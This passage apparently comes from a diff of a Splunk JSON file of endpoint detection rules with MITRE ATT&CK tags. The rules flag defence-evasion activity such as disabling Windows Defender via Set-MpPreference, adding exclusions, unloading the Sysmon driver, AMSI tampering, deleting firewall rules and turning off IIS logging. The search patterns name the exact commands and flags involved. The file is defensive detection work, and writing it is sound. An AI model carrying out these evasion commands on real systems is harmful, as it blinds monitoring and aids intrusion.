Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `linux_impair_defenses_process_kill_filter`", - "tags": { - "analytic_story": [ - "AwfulShred", - "Data Destruction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "a $process_name$ tries to execute pkill commandline to terminate process in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Linux Iptables Firewall Modification", - "description": "The following analytic detects suspicious command-line activity that modifies the iptables firewall settings on a Linux machine. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific command patterns that alter firewall rules to accept traffic on certain TCP ports. This activity is significant as it can indicate malware, such as CyclopsBlink, modifying firewall settings to allow communication with a Command and Control (C2) server. If confirmed malicious, this could enable attackers to maintain persistent access and exfiltrate data, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process = \"*iptables *\" AND Processes.process = \"* --dport *\" AND Processes.process = \"* ACCEPT*\" AND Processes.process = \"*&>/dev/null*\" AND Processes.process = \"* tcp *\" AND NOT(Processes.parent_process_path IN(\"/bin/*\", \"/lib/*\", \"/usr/bin/*\", \"/sbin/*\")) by Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid Processes.dest _time span=10s Processes.user Processes.parent_process_name Processes.parent_process_path Processes.process_path | rex field=Processes.process \"--dport (?3269|636|989|994|995|8443)\" | stats values(Processes.process) as processes_exec values(port) as ports values(Processes.process_guid) as guids values(Processes.process_id) as pids dc(port) as port_count count by Processes.process_name Processes.parent_process_name Processes.parent_process_id Processes.dest Processes.user Processes.parent_process_path Processes.process_path | where port_count >=3 | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_iptables_firewall_modification_filter`", - "tags": { - "analytic_story": [ - "Cyclops Blink", - "Sandworm Tools" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A process name - $process_name$ that may modify iptables firewall on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.004", - "mitre_attack_technique": "Disable or Modify System Firewall", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT38", - "Carbanak", - "Dragonfly", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Moses Staff", - "Rocke", - "TeamTNT", - "ToddyCat" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Linux Stdout Redirection To Dev Null File", - "description": "The following analytic detects command-line activities that redirect stdout or stderr to the /dev/null file. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs. This behavior is significant as it can indicate attempts to hide command outputs, a technique observed in the CyclopsBlink malware to conceal modifications to iptables firewall settings. If confirmed malicious, this activity could allow an attacker to stealthily alter system configurations, potentially leading to unauthorized access or persistent control over the compromised machine.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process = \"*&>/dev/null*\" by Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid Processes.dest Processes.user Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_stdout_redirection_to_dev_null_file_filter`", - "tags": { - "analytic_story": [ - "Cyclops Blink", - "Data Destruction", - "Industroyer2" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a commandline $process$ that redirect stdout to dev/null in $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.004", - "mitre_attack_technique": "Disable or Modify System Firewall", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT38", - "Carbanak", - "Dragonfly", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Moses Staff", - "Rocke", - "TeamTNT", - "ToddyCat" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Powershell Disable Security Monitoring", - "description": "The following analytic identifies attempts to disable Windows Defender real-time behavior monitoring via PowerShell commands. It detects the use of specific `Set-MpPreference` parameters that disable various security features. This activity is significant as it is commonly used by malware such as RATs, bots, or Trojans to evade detection by disabling antivirus protections. If confirmed malicious, this action could allow an attacker to operate undetected, leading to potential data exfiltration, further system compromise, or persistent access within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_powershell` Processes.process=\"*set-mppreference*\" AND Processes.process IN (\"*disablerealtimemonitoring*\",\"*disableioavprotection*\",\"*disableintrusionpreventionsystem*\",\"*disablescriptscanning*\",\"*disableblockatfirstseen*\",\"*DisableBehaviorMonitoring*\",\"*drtm *\",\"*dioavp *\",\"*dscrptsc *\",\"*dbaf *\",\"*dbm *\") by Processes.dest Processes.user Processes.parent_process Processes.original_file_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_disable_security_monitoring_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Revil Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender Real-time Behavior Monitoring disabled on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Powershell Remove Windows Defender Directory", - "description": "The following analytic detects a suspicious PowerShell command attempting to delete the Windows Defender directory. It leverages PowerShell Script Block Logging to identify commands containing \"rmdir\" and targeting the Windows Defender path. This activity is significant as it may indicate an attempt to disable or corrupt Windows Defender, a key security component. If confirmed malicious, this action could allow an attacker to bypass endpoint protection, facilitating further malicious activities without detection.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*rmdir *\" AND ScriptBlockText = \"*\\\\Microsoft\\\\Windows Defender*\" | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_remove_windows_defender_directory_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "UserID", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "suspicious powershell script $ScriptBlockText$ was executed on the $Computer$", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Powershell Windows Defender Exclusion Commands", - "description": "The following analytic detects the use of PowerShell commands to add or set Windows Defender exclusions. It leverages EventCode 4104 to identify suspicious `Add-MpPreference` or `Set-MpPreference` commands with exclusion parameters. This activity is significant because adversaries often use it to bypass Windows Defender, allowing malicious code to execute without detection. If confirmed malicious, this behavior could enable attackers to evade antivirus defenses, maintain persistence, and execute further malicious activities undetected.", - "search": "`powershell` EventCode=4104 (ScriptBlockText = \"*Add-MpPreference *\" OR ScriptBlockText = \"*Set-MpPreference *\") AND ScriptBlockText = \"*-exclusion*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_windows_defender_exclusion_commands_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "CISA AA22-320A", - "Data Destruction", - "Remcos", - "Warzone RAT", - "WhisperGate", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "exclusion command $ScriptBlockText$ executed on $Computer$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Process Kill Base On File Path", - "description": "The following analytic detects the use of `wmic.exe` with the `delete` command to remove an executable path. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, parent processes, and command-line executions. This activity is significant because it often indicates the initial stages of an adversary setting up malicious activities, such as cryptocurrency mining, on an endpoint. If confirmed malicious, this behavior could allow an attacker to disable security tools or other critical processes, facilitating further compromise and persistence within the environment.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process values(Processes.process_id) as process_id count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_wmic` AND Processes.process=\"*process*\" AND Processes.process=\"*executablepath*\" AND Processes.process=\"*delete*\" by Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `process_kill_base_on_file_path_filter`", - "tags": { - "analytic_story": [ - "XMRig" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A process $process_name$ attempt to kill process by its file path using commandline $process$ in host $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Processes launching netsh", - "description": "The following analytic identifies processes launching netsh.exe, a command-line utility used to modify network configurations. It detects this activity by analyzing data from Endpoint Detection and Response (EDR) agents, focusing on process GUIDs, names, parent processes, and command-line executions. This behavior is significant because netsh.exe can be exploited to execute malicious helper DLLs, serving as a persistence mechanism. If confirmed malicious, an attacker could gain persistent access, modify network settings, and potentially escalate privileges, posing a severe threat to the network's integrity and security.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process) AS Processes.process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_netsh` by Processes.parent_process_name Processes.parent_process Processes.original_file_name Processes.process_name Processes.user Processes.dest |`drop_dm_object_name(\"Processes\")` |`security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` |`processes_launching_netsh_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "DHS Report TA18-074A", - "Disabling Security Tools", - "Netsh Abuse", - "Snake Keylogger", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A process $process_name$ has launched netsh with command-line $process$ on $dest$.", - "risk_score": 14, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.004", - "mitre_attack_technique": "Disable or Modify System Firewall", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT38", - "Carbanak", - "Dragonfly", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Moses Staff", - "Rocke", - "TeamTNT", - "ToddyCat" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Unload Sysmon Filter Driver", - "description": "The following analytic detects the use of `fltMC.exe` to unload the Sysmon driver, which stops Sysmon from collecting data. It leverages Endpoint Detection and Response (EDR) logs, focusing on process names and command-line executions. This activity is significant because disabling Sysmon can blind security monitoring, allowing malicious actions to go undetected. If confirmed malicious, this could enable attackers to execute further attacks without being logged, leading to potential data breaches, privilege escalation, or persistent access within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime values(Processes.process) as process max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=fltMC.exe AND Processes.process=*unload* AND Processes.process=*SysmonDrv* by Processes.process_name Processes.process_id Processes.parent_process_name Processes.process Processes.dest Processes.user | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)`|`security_content_ctime(lastTime)` | table firstTime lastTime dest user count process_name process_id parent_process_name process | `unload_sysmon_filter_driver_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Disabling Security Tools" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Possible Sysmon filter driver unloading on $dest$", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Unloading AMSI via Reflection", - "description": "The following analytic detects the tampering of AMSI (Antimalware Scan Interface) via PowerShell reflection. It leverages PowerShell Script Block Logging (EventCode=4104) to capture and analyze suspicious PowerShell commands, specifically those involving `system.management.automation.amsi`. This activity is significant as it indicates an attempt to bypass AMSI, a critical security feature that helps detect and block malicious scripts. If confirmed malicious, this could allow an attacker to execute harmful code undetected, leading to potential system compromise and data exfiltration.", - "search": "`powershell` EventCode=4104 ScriptBlockText = *system.management.automation.amsi* | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `unloading_amsi_via_reflection_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Possible AMSI Unloading via Reflection using PowerShell on $Computer$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Windows Defender Exclusion Registry Entry", - "description": "The following analytic detects modifications to the Windows Defender exclusion registry entries. It leverages endpoint registry data to identify changes in the registry path \"*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Exclusions\\\\*\". This activity is significant because adversaries often modify these entries to bypass Windows Defender, allowing malicious code to execute without detection. If confirmed malicious, this behavior could enable attackers to evade antivirus defenses, maintain persistence, and execute further malicious activities undetected.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path = \"*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Exclusions\\\\*\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_defender_exclusion_registry_entry_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "Qakbot", - "Remcos", - "Warzone RAT", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Exclusion registry $registry_path$ modified or added on $dest$ for Windows Defender", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Delete or Modify System Firewall", - "description": "The following analytic identifies 'netsh' processes that delete or modify firewall configurations. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions containing specific keywords. This activity is significant because it can indicate malware, such as NJRAT, attempting to alter firewall settings to evade detection or remove traces. If confirmed malicious, this behavior could allow an attacker to disable security measures, facilitating further compromise and persistence within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_netsh` Processes.process = \"* firewall *\" Processes.process = \"* delete *\" by Processes.parent_process Processes.parent_process_name Processes.process_name Processes.process_id Processes.process_guid Processes.process Processes.user Processes.dest | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_delete_or_modify_system_firewall_filter`", - "tags": { - "analytic_story": [ - "NjRAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A $process_name$ deleted a firewall configuration on $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1562.004", - "mitre_attack_technique": "Disable or Modify System Firewall", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT38", - "Carbanak", - "Dragonfly", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Moses Staff", - "Rocke", - "TeamTNT", - "ToddyCat" - ] - } - ] - } - }, - { - "name": "Windows Disable or Modify Tools Via Taskkill", - "description": "The following analytic identifies the use of taskkill.exe to forcibly terminate processes. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions that include specific taskkill parameters. This activity is significant because it can indicate attempts to disable security tools or disrupt legitimate applications, a common tactic in malware operations. If confirmed malicious, this behavior could allow attackers to evade detection, disrupt system stability, and potentially gain further control over the compromised system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"taskkill.exe\" Processes.process IN (\"* /f*\", \"* /t*\") Processes.process IN (\"* /im*\", \"* /pid*\") by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.process_guid Processes.user Processes.dest | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_disable_or_modify_tools_via_taskkill_filter`", - "tags": { - "analytic_story": [ - "NjRAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process Name", - "role": [ - "Parent Process", - "Attacker" - ] - } - ], - "message": "A taskkill process to terminate process is executed on host- $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Disable Windows Event Logging Disable HTTP Logging", - "description": "The following analytic detects the use of AppCmd.exe to disable HTTP logging on IIS servers. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution events where AppCmd.exe is used with specific parameters to alter logging settings. This activity is significant because disabling HTTP logging can help adversaries hide their tracks and avoid detection by removing evidence of their actions. If confirmed malicious, this could allow attackers to operate undetected, making it difficult to trace their activities and respond to the intrusion effectively.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where NOT (Processes.parent_process_name IN (\"msiexec.exe\", \"iissetup.exe\")) Processes.process_name=appcmd.exe Processes.process IN (\"*set config*\", \"*httplogging*\",\"*dontlog:true*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_disable_windows_event_logging_disable_http_logging_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "IIS Components", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ 